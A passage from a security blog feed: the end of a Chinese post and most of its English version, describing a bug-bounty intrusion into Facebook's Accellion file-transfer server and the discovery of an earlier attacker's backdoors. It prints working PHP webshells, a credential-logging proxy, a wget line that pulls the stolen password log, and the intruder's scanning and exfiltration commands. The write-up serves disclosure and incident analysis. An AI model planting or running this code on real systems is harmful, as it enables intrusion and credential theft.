上的 IonCude 版本沒到最新,可以使用現成的工具解密,不過由於 PHP 版本的問題,細節部份以及數值運算等可能要靠自己修復一下,不然有點難看…</p> <p>經過簡單的原始碼審查後發現,好找的弱點應該都被 Rapid7 找走了 T^T<br /> 而需要認證才能觸發的漏洞又不怎麼好用,只好認真點往深層一點的地方挖掘!</p> <p>經過幾天的認真挖掘,最後總共發現了七個弱點,其中包含了</p> <ul> <li>Cross-Site Scripting x 3</li> <li>Pre-Auth SQL Injection leads to Remote Code Execution</li> <li>Known-Secret-Key leads to Remote Code Execution</li> <li>Local Privilege Escalation x 2</li> </ul> <p>除了回報 Facebook 安全團隊外,其餘的弱點也製作成 Advisory 提交 Accellion 技術窗口,經過廠商修補提交 CERT/CC 後取得四個 CVE 編號</p> <ul> <li>CVE-2016-2350</li> <li>CVE-2016-2351</li> <li>CVE-2016-2352</li> <li>CVE-2016-2353</li> </ul> <p>詳細的弱點細節會待 Full Disclosure Policy 後公布!</p> <p><img src="/assets/img/blog/20160421/2.jpg" alt="shell on facebook" /> <em>↑ 使用 Pre-Auth SQL Injection 寫入 Webshell</em></p> <p><br /></p> <p>在實際滲透中進去伺服器後的第一件事情就是檢視當前的環境是否對自己友善,為了要讓自己可以在伺服器上待的久就要盡可能的了解伺服器上有何限制、紀錄,避開可能會被發現的風險 :P</p> <p>Facebook 大致有以下限制:</p> <ol> <li>防火牆無法連外, TCP, UDP, 53, 80, 443 皆無法</li> <li>存在遠端的 Syslog 伺服器</li> <li>開啟 Auditd 記錄</li> </ol> <p>無法外連看起來有點麻煩,但是 ICMP Tunnel 看似是可行的,但這只是一個 Bug Bounty Program 其實不需要太麻煩就純粹以 Webshell 操作即可。</p> <hr /> <h3 id="似乎有點奇怪">似乎有點奇怪?</h3> <p>正當收集證據準備回報 Facebook 安全團隊時,從網頁日誌中似乎看到一些奇怪的痕跡。</p> <p>首先是在 “<strong>/var/opt/apache/php_error_log</strong>” 中看到一些奇怪的 PHP 錯誤訊息,從錯誤訊息來看似乎像是邊改 Code 邊執行所產生的錯誤?</p> <p><img src="/assets/img/blog/20160421/3.jpg" alt="PHP error log" /> <em>↑ PHP error log</em></p> <p><br /> 跟隨錯誤訊息的路徑去看發現疑似前人留下的 Webshell 後門</p> <p><img src="/assets/img/blog/20160421/4.jpg" alt="Webshell on facebook server" /> <em>↑ Webshell on facebook server</em></p> <p><br /></p> <p>其中幾個檔案的內容如下</p> <p><strong>sshpass</strong></p> <pre><code>沒錯,就是那個 <a href="http://linux.die.net/man/1/sshpass">sshpass</a></code></pre> <div class="highlight-name">bN3d10Aw.php</div> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="k">echo</span> <span class="nb">shell_exec</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'c'</span><span class="p">]);</span> <span class="cp">?&gt;</span></code></pre></figure> <div class="highlight-name">uploader.php</div> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="nb">move_uploaded_file</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s2">"f]["</span><span class="n">tmp_name</span><span class="s2">"], basename(</span><span class="nv">$_FILES["f"]["name"]</span><span class="s2">)); ?&gt;</span></code></pre></figure> <div class="highlight-name">d.php</div> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="nf">include_oncce</span><span class="p">(</span><span class="s2">"/home/seos/courier/remote.inc"</span><span class="p">);</span> <span class="k">echo</span> <span class="nf">decrypt</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"c"</span><span class="p">]);</span> <span class="cp">?&gt;</span></code></pre></figure> <div class="highlight-name">sclient\_user\_class\_standard.inc</div> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="k">include_once</span><span class="p">(</span><span class="s1">'sclient_user_class_standard.inc.orig'</span><span class="p">);</span> <span class="nv">$fp</span> <span class="o">=</span> <span class="nb">fopen</span><span class="p">(</span><span class="s2">"/home/seos/courier/B3dKe9sQaa0L.log"</span><span class="p">,</span> <span class="s2">"a"</span><span class="p">);</span> <span class="nv">$retries</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$max_retries</span> <span class="o">=</span> <span class="mi">100</span><span class="p">;</span> <span class="c1">// 省略...</span> <span class="nb">fwrite</span><span class="p">(</span><span class="nv">$fp</span><span class="p">,</span> <span class="nb">date</span><span class="p">(</span><span class="s2">"Y-m-d H:i:s T"</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">";"</span> <span class="mf">.</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s2">"REMOTE_ADDR"</span><span class="p">]</span> <span class="mf">.</span> <span class="s2">";"</span> <span class="mf">.</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s2">"HTTP_USER_AGENT"</span><span class="p">]</span> <span class="mf">.</span> <span class="s2">";POST="</span> <span class="mf">.</span> <span class="nb">http_build_query</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">";GET="</span> <span class="mf">.</span> <span class="nb">http_build_query</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">";COOKIE="</span> <span class="mf">.</span> <span class="nb">http_build_query</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">);</span> <span class="c1">// 省略...</span></code></pre></figure> <p>前幾個就是很標準的 PHP 一句話木馬<br /> 其中比較特別的是 “<strong>sclient_user_class_standard.inc</strong>” 這個檔案</p> <p>include_once 中 “<strong>sclient_user_class_standard.inc.orig</strong>” 為原本對密碼進行驗證的 PHP 程式,駭客做了一個 Proxy 在中間並在進行一些重要操作時先把 GET, POST, COOKIE 的值記錄起來</p> <p>整理一下,駭客做了一個 Proxy 在密碼驗證的地方,並且記錄 Facebook 員工的帳號密碼,並且將記錄到的密碼放置在 Web 目錄下,駭客每隔一段時間使用 wget 抓取</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget https://files.fb.com/courier/B3dKe9sQaa0L.log </code></pre></div></div> <p><img src="/assets/img/blog/20160421/5.jpg" alt="logged password" /><br /> <em>↑ Logged passwords</em></p> <p><br /></p> <p>從紀錄裡面可以看到除了使用者帳號密碼外,還有從 FTA 要求檔案時的信件內容,記錄到的帳號密碼會定時 Rotate (後文會提及,這點還滿機車的XD)</p> <p>發現當下,最近一次的 Rotate 從 2/1 記錄到 2/7 共約 300 筆帳號密碼紀錄,大多都是 “<strong>@fb.com</strong>” 或是 “<strong>@facebook.com</strong>” 的員工帳密,看到當下覺得事情有點嚴重了,在 FTA 中,使用者的登入主要有兩種模式</p> <ol> <li>一般用戶註冊,密碼 Hash 存在資料庫,由 SHA256 + SALT 儲存</li> <li>Facebook 員工 (@fb.com) 則走統一認證,使用 LDAP 由 AD 認證</li> </ol> <p>在這裡相信記錄到的是真實的員工帳號密碼,<strong>**猜測</strong>** 這份帳號密碼應該可以通行 Facebook Mail OWA, VPN 等服務做更進一步的滲透…</p> <p>此外,這名 “駭客” 可能習慣不太好 :P</p> <ol> <li>後門參數皆使用 GET 來傳遞,在網頁日誌可以很明顯的發現他的足跡</li> <li>駭客在進行一些指令操作時沒顧慮到 STDERR ,導致網頁日誌中很多指令的錯誤訊息,從中可以觀察駭客做了哪些操作</li> </ol> <p><br /> 從 access.log 可以觀察到的每隔數日駭客會將記錄到的帳號密碼清空</p> <figure class="highlight"><pre><code class="language-prolog" data-lang="prolog"><span class="mf">192.168</span><span class="p">.</span><span class="mf">54.13</span> <span class="o">-</span> <span class="o">-</span> <span class="m">17955</span> <span class="p">[</span><span class="nv">Sat</span><span class="p">,</span> <span class="m">23</span> <span class="nv">Jan</span> <span class="m">2016</span> <span class="m">19</span><span class="o">:</span><span class="m">04</span><span class="o">:</span><span class="m">10</span> <span class="o">+</span><span class="m">0000</span> <span class="p">|</span> <span class="m">1453575850</span><span class="p">]</span> <span class="s2">"GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo &gt; /home/seos/courier/B3dKe9sQaa0L.log' 2&gt;/dev/stdout HTTP/1.1"</span> <span class="m">200</span> <span class="m">2559</span> <span class="p">...</span></code></pre></figure> <p><br /></p> <p>打包檔案</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nb">cat </span>tmp_list3_2 | <span class="k">while </span><span class="nb">read </span>line<span class="p">;</span> <span class="k">do </span><span class="nb">cp</span> /home/filex2/1000/<span class="nv">$line</span> files<span class="p">;</span> <span class="k">done </span>2&gt;/dev/stdout <span class="nb">tar</span> <span class="nt">-czvf</span> files.tar.gz files</code></pre></figure> <p><br /></p> <p>對內部網路結構進行探測</p> <figure class="highlight"><pre><code class="language-tex" data-lang="tex">dig a archibus.thefacebook.com telnet archibus.facebook.com 80 curl http://archibus.thefacebook.com/spaceview<span class="p">_</span>facebook/locator/room.php dig a records.fb.com telnet records.fb.com 80 telnet records.fb.com 443 wget -O- -q http://192.168.41.16 dig a acme.facebook.com ./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in <span class="p">$</span><span class="o">(</span><span class="nb">seq </span><span class="m">201</span><span class="nb"> </span><span class="m">1</span><span class="nb"> </span><span class="m">255</span><span class="o">)</span><span class="nb">; do for j in </span><span class="p">$</span>(seq 0 1 255); do echo "192.168.<span class="p">$</span><span class="nb">i.</span><span class="p">$</span>j:`dig +short ptr <span class="p">$</span><span class="nb">j.</span><span class="p">$</span>i.168.192.in-addr.arpa`"; done; done' 2&gt;/dev/stdout ...</code></pre></figure> <p><br /></p> <p>使用 Shell Script 進行內網掃描但忘記把 STDERR 導掉XD</p> <p><img src="/assets/img/blog/20160421/6.jpg" alt="Port Scanning" /> <br /></p> <p>嘗試對內部 LDAP 進行連接</p> <figure class="highlight"><pre><code class="language-tex" data-lang="tex">sh: -c: line 0: syntax error near unexpected token `(' sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2&gt;/dev/stdout'</code></pre></figure> <p><br /></p> <p>嘗試訪問內部網路資源<br /> ( 看起來 Mail OWA 可以直接訪問 …)</p> <figure class="highlight"><pre><code class="language-text" data-lang="text">--20:38:09-- https://mail.thefacebook.com/ Resolving mail.thefacebook.com... 192.168.52.37 Connecting to mail.thefacebook.com|192.168.52.37|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://mail.thefacebook.com/owa/ [following] --20:38:10-- https://mail.thefacebook.com/owa/ Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 302 Moved Temporarily Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&amp;reason=0 [following] --20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&amp;reason=0 Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 200 OK Length: 8902 (8.7K) [text/html] Saving to: `STDOUT' 0K ........ 100% 1.17G=0s 20:38:10 (1.17 GB/s) - `-' saved [8902/8902] --20:38:33-- (try:15) https://10.8.151.47/ Connecting to 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/ Resolving svn.thefacebook.com... failed: Name or service not known. --20:39:03-- https://sb-dev.thefacebook.com/ Resolving sb-dev.thefacebook.com... failed: Name or service not known. failed: Connection timed out. Retrying.</code></pre></figure> <p><br /></p> <p>嘗試對 SSL Private Key 下手</p> <figure class="highlight"><pre><code class="language-text" data-lang="text">sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied ls: /etc/opt/apache/ssl.key/server.key: No such file or directory mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied base64: invalid input</code></pre></figure> <p><br /></p> <p>從瀏覽器觀察 files.fb.com 的憑證還是 Wildcard 的 *.fb.com …</p> <p><img src="/assets/img/blog/20160421/7.jpg" alt="certificate of files.fb.com" /></p> <p><br /></p> <hr /> <h3 id="後記">後記</h3> <p>在收集完足夠證據後便立即回報給 Facebook 安全團隊,回報內容除了漏洞細節外,還附上相對應的 Log 、截圖以及時間紀錄xD</p> <p>從伺服器中的日誌可以發現有兩個時間點是明顯駭客在操作系統的時間,一個是七月初、另個是九月中旬</p> <p>七月初的動作從紀錄中來看起來比較偏向 “逛” 伺服器,但九月中旬的操作就比較惡意了,除了逛街外,還放置了密碼 Logger 等,至於兩個時間點的 “駭客” 是不是同一個人就不得而知了 :P<br /> 而七月發生的時機點正好接近 CVE-2015-2857 Exploit 公佈前,究竟是透過 1-Day 還是無 0-Day 入侵系統也無從得知了。</p> <p><br /></p> <p>這件事情就記錄到這裡,總體來說這是一個非常有趣的經歷xD<br /> 也讓我有這個機會可以來寫寫關於滲透的一些文章 :P</p> <p>最後也感謝 Bug Bounty 及胸襟寬闊的 Facebook 安全團隊 讓我可以完整記錄這起事件 : )</p> <hr /> <h2 id="timeline">Timeline</h2> <ul> <li>2016/02/05 20:05 提供漏洞詳情給 Facebook 安全團隊</li> <li>2016/02/05 20:08 收到機器人自動回覆</li> <li>2016/02/06 05:21 提供弱點 Advisory 給 Accellion 技術窗口</li> <li>2016/02/06 07:42 收到 Thomas 的回覆,告知調查中</li> <li>2016/02/13 07:43 收到 Reginaldo 的回覆,告知 Bug Bounty 獎金 $10000 USD</li> <li>2016/02/13 詢問是否撰寫 Blog 是否有任何要注意的地方?</li> <li>2016/02/13 詢問此漏洞被認為是 RCE 還是 SQL Injection</li> <li>2016/02/18 收到 Reginaldo 的回覆,告知正在進行調查中,希望 Blog 先暫時不要發出</li> <li>2016/02/24 收到 Hai 的回覆,告知獎金將會於三月發送</li> <li>2016/04/20 收到 Reginaldo 的回覆,告知調查已完成</li> </ul> https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script/ https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script Thu, 21 Apr 2016 00:00:00 +0800 How I Hacked Facebook, and Found Someone's Backdoor Script <p>by <a href="http://blog.orange.tw/">Orange Tsai</a></p> <p><a href="https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script-eng-ver/">How I Hacked Facebook, and Found Someone’s Backdoor Script</a> (English Version)<br /> <a href="https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script/">滲透 Facebook 的思路與發現</a> (中文版本)</p> <hr /> <h3 id="foreword">Foreword</h3> <p>As a pentester, I love server-side vulnerabilities more than client-side ones. Why? Because it’s way much cooler to take over the server directly and gain system SHELL privileges. &lt;( ̄︶ ̄)&gt;</p> <p>Of course, both vulnerabilities from the server-side and the client-side are indispensable in a perfect penetration test. Sometimes, in order to take over the server more elegantly, it also need some client-side vulnerabilities to do the trick. But speaking of finding vulnerabilities, I prefer to find server-side vulnerabilities first.</p> <p>With the growing popularity of Facebook around the world, I’ve always been interested in testing the security of Facebook. Luckily, in 2012, Facebook launched the <a href="https://www.facebook.com/whitehat/">Bug Bounty Program</a>, which even motivated me to give it a shot.</p> <!-- more --> <p>From a pentester’s view, I tend to start from recon and do some research. First, I’ll determine how large is the “territory” of the company on the internet, then…try to find a nice entrance to get in, for example:</p> <ul> <li>What can I find by Google Hacking?</li> <li>How many B Class IP addresses are used? How many C Class IPs?</li> <li>Whois? Reverse Whois?</li> <li>What domain names are used? What are their internal domain names? Then proceed with enumerating sub-domains</li> <li>What are their preferred techniques and equipment vendors?</li> <li>Any data breach on Github or Pastebin?</li> <li>…etc</li> </ul> <p>Of course, Bug Bounty is nothing about firing random attacks without restrictions. By comparing your findings with the permitted actions set forth by Bug Bounty, the overlapping part will be the part worth trying.</p> <p>Here I’d like to explain some common security problems found in large corporations during pentesting by giving an example.</p> <ol> <li>For most enterprises, “<strong>Network Boundary</strong>” is a rather difficult part to take care of. When the scale of a company has grown large, there are tens of thousands of routers, servers, computers for the MIS to handle, it’s impossible to build up a perfect mechanism of protection. Security attacks can only be defended with general rules, but a successful attack only needs a tiny weak spot. That’s why luck is often on the attacker’s side: a vulnerable server on the “border” is enough to grant a ticket to the internal network!</li> <li>Lack of awareness in “<strong>Networking Equipment</strong>” protection. Most networking equipment doesn’t offer delicate SHELL controls and can only be configured on the user interface. Oftentimes the protection of these devices is built on the Network Layer. However, users might not even notice if these devices were compromised by 0-Day or 1-Day attacks.</li> <li>Security of people: now we have witnessed the emergence of the “<strong>Breached Database</strong>” (aka “<strong>Social Engineering Database</strong>” in China), these leaked data sometimes makes the penetration difficulty incredibly low. Just connect to the breach database, find a user credential with VPN access…then voilà! You can proceed with penetrating the internal network. This is especially true when the scope of the data breach is so huge that the Key Man’s password can be found in the breached data. If this happens, then the security of the victim company will become nothing. :P<br /> <br /></li> </ol> <p>For sure, when looking for the vulnerabilities on Facebook, I followed the thinking of the penetration tests which I was used to. When I was doing some recon and research, not only did I look up the domain names of Facebook itself, but also tried Reverse Whois. And to my surprise, I found an INTERESTING domain name:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tfbnw.net </code></pre></div></div> <p>TFBNW seemed to stand for “<strong>TheFacebook Network</strong>”<br /> Then I found bellow server through public data</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vpn.tfbnw.net </code></pre></div></div> <p>WOW. When I accessed vpn.tfbnw.net there’s the Juniper SSL VPN login interface. But its version seemed to be quite new and there was no vulnerability can be directly exploited…nevertheless, it brought up the beginning of the following story.</p> <p>It looked like TFBNW was an internal domain name for Facebook. Let’s try to enumerate the C Class IPs of vpn.tfbnw.net and found some interesting servers, for example:</p> <ul> <li>Mail Server Outlook Web App</li> <li>F5 BIGIP SSL VPN</li> <li>CISCO ASA SSL VPN</li> <li>Oracle E-Business</li> <li>MobileIron MDM</li> </ul> <p>From the info of these servers, I thought that these C Class IPs were relatively important for Facebook. Now, the whole story officially starts here.</p> <hr /> <h3 id="vulnerability-discovery">Vulnerability Discovery</h3> <p>I found a special server among these C Class IPs.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>files.fb.com </code></pre></div></div> <p><img src="/assets/img/blog/20160421/1.jpg" alt="files.fb.com" /> <em>↑ Login Interface of files.fb.com</em></p> <p><br /> Judging from the LOGO and Footer, this seems to be Accellion’s Secure File Transfer (hereafter known as FTA)</p> <p>FTA is a product which enables secure file transfer, online file sharing and syncing, as well as integration with Single Sign-on mechanisms including AD, LDAP and Kerberos. The Enterprise version even supports SSL VPN service.</p> <p>Upon seeing this, the first thing I did was searching for publicized exploits on the internet. The latest one was found by HD Moore and made public on this Rapid7’s Advisory</p> <ul> <li><a href="https://community.rapid7.com/community/metasploit/blog/2015/07/10/r7-2015-08-accellion-file-transfer-appliance-vulnerabilities-cve-2015-2856-cve-2015-2857">Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857)</a></li> </ul> <p>Whether this vulnerability is exploitable can be determined by the version information leaked from “<strong>/tws/getStatus</strong>”. At the time I discovered files.fb.com the defective v0.18 has already been updated to v0.20. But from the fragments of source code mentioned in the Advisory, I felt that with such coding style there should still be security issues remained in FTA if I kept looking. Therefore, I began to look for 0-Day vulnerabilities on FTA products!</p> <p>Actually, from black-box testing, I didn’t find any possible vulnerabilities, and I had to try white-box testing. After gathering the source codes of previous versions FTA from several resources I could finally proceed with my research!</p> <p>The FTA Product</p> <ol> <li>Web-based user interfaces were mainly composed of Perl &amp; PHP</li> <li>The PHP source codes were encrypted by IonCube</li> <li>Lots of Perl Daemons in the background</li> </ol> <p>First I tried to decrypt IonCube encryption. In order to avoid being reviewed by the hackers, a lot of network equipment vendors will encrypt their product source codes. Fortunately, the IonCube version used by FTA was not up to date and could be decrypted with ready-made tools. But I still had to fix some details, or it’s gonna be messy…</p> <p>After a simple review, I thought Rapid7 should have already got the easier vulnerabilities. T^T<br /> And the vulnerabilities which needed to be triggered were not easy to exploit. Therefore I need to look deeper!</p> <p>Finally, I found 7 vulnerabilities, including</p> <ul> <li>Cross-Site Scripting x 3</li> <li>Pre-Auth SQL Injection leads to Remote Code Execution</li> <li>Known-Secret-Key leads to Remote Code Execution</li> <li>Local Privilege Escalation x 2</li> </ul> <p>Apart from reporting to Facebook Security Team, other vulnerabilities were submitted to Accellion Support Team in Advisory for their reference. After vendor patched, I also sent these to CERT/CC and they assigned 4 CVEs for these vulnerabilities.</p> <ul> <li>CVE-2016-2350</li> <li>CVE-2016-2351</li> <li>CVE-2016-2352</li> <li>CVE-2016-2353</li> </ul> <p>More details will be published after full disclosure policy!</p> <p><img src="/assets/img/blog/20160421/2.jpg" alt="shell on facebook" /> <em>↑ Using Pre-Auth SQL Injection to Write Webshell</em></p> <p><br /> After taking control of the server successfully, the first thing is to check whether the server environment is friendly to you. To stay on the server longer, you have to be familiar with the environments, restrictions, logs, etc and try hard not to be detected. :P</p> <p>There are some restrictions on the server:</p> <ol> <li>Firewall outbound connection unavailable, including TCP, UDP, port 53, 80 and 443</li> <li>Remote Syslog server</li> <li>Auditd logs enabled</li> </ol> <p>Although the outbound connection was not available, but it looked like ICMP Tunnel was working. Nevertheless, this was only a Bug Bounty Program, we could simply control the server with a webshell.</p> <hr /> <h3 id="was-there-something-strange">Was There Something Strange?</h3> <p>While collecting vulnerability details and evidences for reporting to Facebook, I found some strange things on web log.</p> <p>First of all I found some strange PHP error messages in “<strong>/var/opt/apache/php_error_log</strong>”<br /> These error messages seemed to be caused by modifying codes online?</p> <p><img src="/assets/img/blog/20160421/3.jpg" alt="PHP error log" /> <em>↑ PHP error log</em></p> <p><br /> I followed the PHP paths in error messages and ended up with discovering suspicious WEBSHELL files left by previous “visitors”.</p> <p><img src="/assets/img/blog/20160421/4.jpg" alt="Webshell on facebook server" /> <em>↑ Webshell on facebook server</em></p> <p>some contents of the files are as follows:</p> <p><strong>sshpass</strong></p> <pre><code>Right, THAT <a href="http://linux.die.net/man/1/sshpass">sshpass</a></code></pre> <div class="highlight-name">bN3d10Aw.php</div> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="k">echo</span> <span class="nb">shell_exec</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'c'</span><span class="p">]);</span> <span class="cp">?&gt;</span></code></pre></figure> <div class="highlight-name">uploader.php</div> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="nb">move_uploaded_file</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s2">"f]["</span><span class="n">tmp_name</span><span class="s2">"], basename(</span><span class="nv">$_FILES["f"]["name"]</span><span class="s2">)); ?&gt;</span></code></pre></figure> <div class="highlight-name">d.php</div> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="nf">include_oncce</span><span class="p">(</span><span class="s2">"/home/seos/courier/remote.inc"</span><span class="p">);</span> <span class="k">echo</span> <span class="nf">decrypt</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"c"</span><span class="p">]);</span> <span class="cp">?&gt;</span></code></pre></figure> <div class="highlight-name">sclient\_user\_class\_standard.inc</div> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="k">include_once</span><span class="p">(</span><span class="s1">'sclient_user_class_standard.inc.orig'</span><span class="p">);</span> <span class="nv">$fp</span> <span class="o">=</span> <span class="nb">fopen</span><span class="p">(</span><span class="s2">"/home/seos/courier/B3dKe9sQaa0L.log"</span><span class="p">,</span> <span class="s2">"a"</span><span class="p">);</span> <span class="nv">$retries</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$max_retries</span> <span class="o">=</span> <span class="mi">100</span><span class="p">;</span> <span class="c1">// blah blah blah...</span> <span class="nb">fwrite</span><span class="p">(</span><span class="nv">$fp</span><span class="p">,</span> <span class="nb">date</span><span class="p">(</span><span class="s2">"Y-m-d H:i:s T"</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">";"</span> <span class="mf">.</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s2">"REMOTE_ADDR"</span><span class="p">]</span> <span class="mf">.</span> <span class="s2">";"</span> <span class="mf">.</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s2">"HTTP_USER_AGENT"</span><span class="p">]</span> <span class="mf">.</span> <span class="s2">";POST="</span> <span class="mf">.</span> <span class="nb">http_build_query</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">";GET="</span> <span class="mf">.</span> <span class="nb">http_build_query</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">";COOKIE="</span> <span class="mf">.</span> <span class="nb">http_build_query</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">);</span> <span class="c1">// blah blah blah...</span></code></pre></figure> <p>The first few ones were typical PHP one-line backdoor and there’s one exception: “<strong>sclient_user_class_standard.inc</strong>”</p> <p>In include_once “<strong>sclient_user_class_standard.inc.orig</strong>” was the original PHP app for password verification, and the hacker created a proxy in between to log GET, POST, COOKIE values while some important operations were under way.</p> <p>A brief summary, the hacker created a proxy on the credential page to log the credentials of Facebook employees. These logged passwords were stored under web directory for the hacker to use WGET every once in a while</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget https://files.fb.com/courier/B3dKe9sQaa0L.log </code></pre></div></div> <p><img src="/assets/img/blog/20160421/5.jpg" alt="logged password" /><br /> <em>↑ Logged passwords</em></p> <p><br /></p> <p>From this info we can see that apart from the logged credentials there were also contents of letters requesting files from FTA, and these logged credentials were rotated regularly (this will be mentioned later, that’s kinda cheap…XD)</p> <p>And at the time I discovered these, there were around 300 logged credentials dated between February 1st to 7th, from February 1st, mostly “<strong>@fb.com</strong>” and “<strong>@facebook.com</strong>”. Upon seeing it I thought it’s a pretty serious security incident. In FTA, there were mainly two modes for user login</p> <ol> <li>Regular users sign up: their password hash were stored in the database and hashed encrypted with SHA256+SALT</li> <li>All Facebook employees (@fb.com) used LDAP and authenticated by AD Server</li> </ol> <p>I believe these logged credentials were real passwords and I <strong>GUESS</strong> they can access to services such as Mail OWA, VPN for advanced penetration…</p> <p>In addition, this hacker might be careless:P</p> <ol> <li>The backdoor parameters were passed through GET method and his footprinting can be identified easily in from web log</li> <li>When the hacker was sending out commands, he didn’t take care of STDERR, and left a lot of command error messages in web log which the hacker’s operations could be seen</li> </ol> <p><br /> From access.log, every few days the hacker will clear all the credentials he logged</p> <figure class="highlight"><pre><code class="language-prolog" data-lang="prolog"><span class="mf">192.168</span><span class="p">.</span><span class="mf">54.13</span> <span class="o">-</span> <span class="o">-</span> <span class="m">17955</span> <span class="p">[</span><span class="nv">Sat</span><span class="p">,</span> <span class="m">23</span> <span class="nv">Jan</span> <span class="m">2016</span> <span class="m">19</span><span class="o">:</span><span class="m">04</span><span class="o">:</span><span class="m">10</span> <span class="o">+</span><span class="m">0000</span> <span class="p">|</span> <span class="m">1453575850</span><span class="p">]</span> <span class="s2">"GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo &gt; /home/seos/courier/B3dKe9sQaa0L.log' 2&gt;/dev/stdout HTTP/1.1"</span> <span class="m">200</span> <span class="m">2559</span> <span class="p">...</span></code></pre></figure> <p><br /></p> <p>Packing files</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nb">cat </span>tmp_list3_2 | <span class="k">while </span><span class="nb">read </span>line<span class="p">;</span> <span class="k">do </span><span class="nb">cp</span> /home/filex2/1000/<span class="nv">$line</span> files<span class="p">;</span> <span class="k">done </span>2&gt;/dev/stdout <span class="nb">tar</span> <span class="nt">-czvf</span> files.tar.gz files</code></pre></figure> <p><br /></p> <p>Enumerating internal network architecture</p> <figure class="highlight"><pre><code class="language-tex" data-lang="tex">dig a archibus.thefacebook.com telnet archibus.facebook.com 80 curl http://archibus.thefacebook.com/spaceview<span class="p">_</span>facebook/locator/room.php dig a records.fb.com telnet records.fb.com 80 telnet records.fb.com 443 wget -O- -q http://192.168.41.16 dig a acme.facebook.com ./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in <span class="p">$</span><span class="o">(</span><span class="nb">seq </span><span class="m">201</span><span class="nb"> </span><span class="m">1</span><span class="nb"> </span><span class="m">255</span><span class="o">)</span><span class="nb">; do for j in </span><span class="p">$</span>(seq 0 1 255); do echo "192.168.<span class="p">$</span><span class="nb">i.</span><span class="p">$</span>j:`dig +short ptr <span class="p">$</span><span class="nb">j.</span><span class="p">$</span>i.168.192.in-addr.arpa`"; done; done' 